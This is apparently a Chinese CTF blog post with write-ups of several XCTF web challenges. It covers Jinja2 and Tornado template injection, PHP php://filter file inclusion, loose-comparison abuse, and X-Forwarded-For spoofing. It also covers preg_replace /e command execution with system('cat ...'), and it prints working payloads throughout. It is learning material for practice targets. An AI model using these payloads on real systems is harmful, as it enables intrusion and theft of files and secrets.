XCTF相关题解Confusion1,easyphp文件包含,lottery,ics-05,easytornado(框架)

一、xctf-Confusion1

尝试SSTI(服务器模板注入)漏洞

构造payload,{{7*7}}}

然后继续构造{{7*'7'}}}

发现是Jinja2或Twig模板(我也不清楚)

使用的payload,使用的payload,{{’’. __ class __ . __ mro __ [2]. __ subclasses __()}};

发现有弹窗,所以是过滤了采用{{url_for.__ globals __}}

接下来使用{{''[request.args.a]}}?a=__ class __发现有绕回

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
这里的flag是之前的longin页面和register页面

二、easyphp

intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
{"name": "string","age":22}

这里要进行代码审计,

看一下第一个语句

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

isset()

三、题目名称-文件包含

实现文件包含功能的函数:include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline

php的文件包含漏洞,一般用到如下各种伪协议

  file:// 访问本地文件系统
  http:// 访问http(s)网址
  ftp:// 访问ftp
  php:// 访问各个输入/输出流
  zlib:// 压缩流
  data:// 数据
  rar:// RAR压缩包
  ogg:// 音频流
convert.iconv.[]过滤器绕过,[]中支持以下字符编码(* 表示该编码也可以在正则表达式中使用)
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

这里我们尝试构造payload

?filename=php://filter//convert.iconv.UCS-4*/resource=/var/www/html/flag.php

结果发现没有变化,如果使用其他编码则显示报错,接下来我看wp是结合其他编码进行绕过

拓展一下

ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。
#php://filter/string.rot13/resource=flag.php
string.toupper将字符串转化为大写
#php://filter/string.toupper/resource=flag.php
string.toupper 将字符串转化为小写
#php://filter/string.tolower/resource=flag.php
string.strip_tags从字符串中去除 HTML和PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。
#php://filter/string.strip_tags/resource=flag.php
Conversion Filters(转换过滤器)
Conversion Filters(转换过滤器)如同 string. 过滤器,convert. 过滤器的作用就和其名字一样。
convert.base64-encode & convert.base64-decode
#php://filter/convert.base64-encode/resource=flag.php
convert.quoted-printable-encode & convert.quoted-printable-decode
#php://filter/convert.quoted-printable-encode/resource=flag.php

压缩过滤器

zlib.deflate(压缩)
php://filter/zlib.deflate/resource=flag.php
zlib.inflate(解压)
php://filter/zlib.deflate|zlib.inflate/resource=flag.php

绕过exit()函数,exit是终结程序的

php://filter/string.rot13/resource=文件名

四、lottery

1、存储和取回session变量的正确方法是使用PHP $_SESSION变量,需要查看关键函数,这里没有对传入的参数进行限制,而且这里没有使用强等于“===”,而是使用弱等于

===比较两个变量的值和类型;==比较两个变量的值,不比较数据类型。
​
在php中,如果bool和"任何其他类型"比较,"任何其他类型"会转换为bool。
​
在PHP中当转换为 boolean 时,以下值被认为是 FALSE :
(1) 布尔值 FALSE 本身
(2) 整型值 0(零)
(3)浮点型值 0.0(零)
(4)空字符串,以及字符串 “0”
(5)不包括任何元素的数组(注意,一旦包含元素,就算包含的元素只是一个空数组,也是true)
(6)不包括任何成员变量的对象(仅 PHP 4.0 适用)
(7)特殊类型 NULL(包括尚未赋值的变量)
(8)从空标记生成的 SimpleXML 对象
(9)所有其它值包括-1都被认为是 TRUE (包括任何资源)

先进行抓包,然后查看到一个post请求,api.php,题目里面有附件,可以下载看一下源代码,放到重发器里面,然后就更改数字为[true,true,true,true,true,true,true],等金钱攒够了就可以购买flag了

五、ics-05

点击之后查看网页源代码,发现有个a href = "?page=index" 通过这里可以知道注入的方式位

?page=XXX,所以我们可以尝试对其进行内容注入/index.php?page={{23}},发现没有反映,说明没有文件包含漏洞,所以我们可以通过php伪协议来进行注入,输入?page=php://filter/read=convert.base64-encode/resource=index.php,注入之后发现一段base64的编码,对其进行解密之后可以分析php代码

 <?php
​
$page = $_GET[page];
​
if (isset($page)) {
    if (ctype_alnum($page)) {
    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />
}else{
​
?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php
​
                if (strpos($page, 'input') > 0) {
                    die();
                }
​
                if (strpos($page, 'ta:text') > 0) {
                    die();
                }
​
                if (strpos($page, 'text') > 0) {
                    die();
                }
​
                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />
}}
​
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
​
    echo "<br >Welcome My Admin ! <br >";
​
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
​
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>

这里主要关注isset()函数和strpos()这两个函数

isset() 函数用于检测变量是否已设置并且非 NULL。
ctype_alnum()函数是PHP中的字符类型(CType)函数,用于检查给定的字符串是否包含字母数字字符。
​
strpos() 函数查找字符串在另一字符串中第一次出现的位置。

进行代码审计之后发现说明要想执行else,则输入的page中不能存在input、ta:text、text这些值。

继续审查代码,发现该网页还有另外一种登录方式,既可以通过本地ip登录,只需要把本地ip伪造成127.0.0.1即可。

这里可以通过插件或者X-Forwarded-For进行伪造IP,然后进行访问。

然后这里通过preg_replace函数漏洞进行攻击,我不知道这里是怎么想到的,哎,只能说我是个小废物。然后在这里构造payload ?pat=/heihei/e&rep=system(%22pwd%22)&sub=heihei

然后放包之后显示 Welcome My Admin ! /var/www/html

然后这里显示路径,对目录路径下进行遍历文件,构造?pat=/heihei/e&rep=system("ls /var/www/html ")&sub=heihei,这样文件都显示出来了

Welcome My Admin ! css index.html index.php js layui logo.png s3chahahaDir start.sh 视图.png

接下来对文件进行审核,发现s3chahahaDir这个比较可疑,我觉得没啥可不可疑,基本都是一个一个试

发现这里有个flag文件,接下来就继续读取flag文件就出来了。构造payload,

?pat=/heihei/e&rep=system("ls /var/www/html/s3chahahaDir/flag")&sub=heihei,构造之后显示如下

Welcome My Admin ! flag.php

继续构造?pat=/heihei/e&rep=system("cat /var/www/html/s3chahahaDir/flag/flag.php")&sub=heihei

结构发现啥也没显示Welcome My Admin !

我找了半天,发现其他文件下没啥,我尝试查看源代码

<!--?php

$flag = 'cyberpeace{d5b20cb9b64a1397d3ba1e5c65422a53}';

?-->

六、XCTF中easytornado(框架)

一、这里用Tornado框架漏洞

一个一个点开看,发现在/hints.txt下面有个md5

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用,Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

构造payload为error?msg=Error,这里可以看到注入点就是msg,然后对msg进行注入error?msg={{1*1}}发现有回显,然后继续构造payload为error?msg={{handler.settings}}通过这个获取cookie_secret,然后把cookie_secret放到脚本进行解密,将解密完之后的数据放进payload里面进行构造

file?filename=/fllllllllllllag&filehash=ae7549fbc91a9b4aee8510591c010cac

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值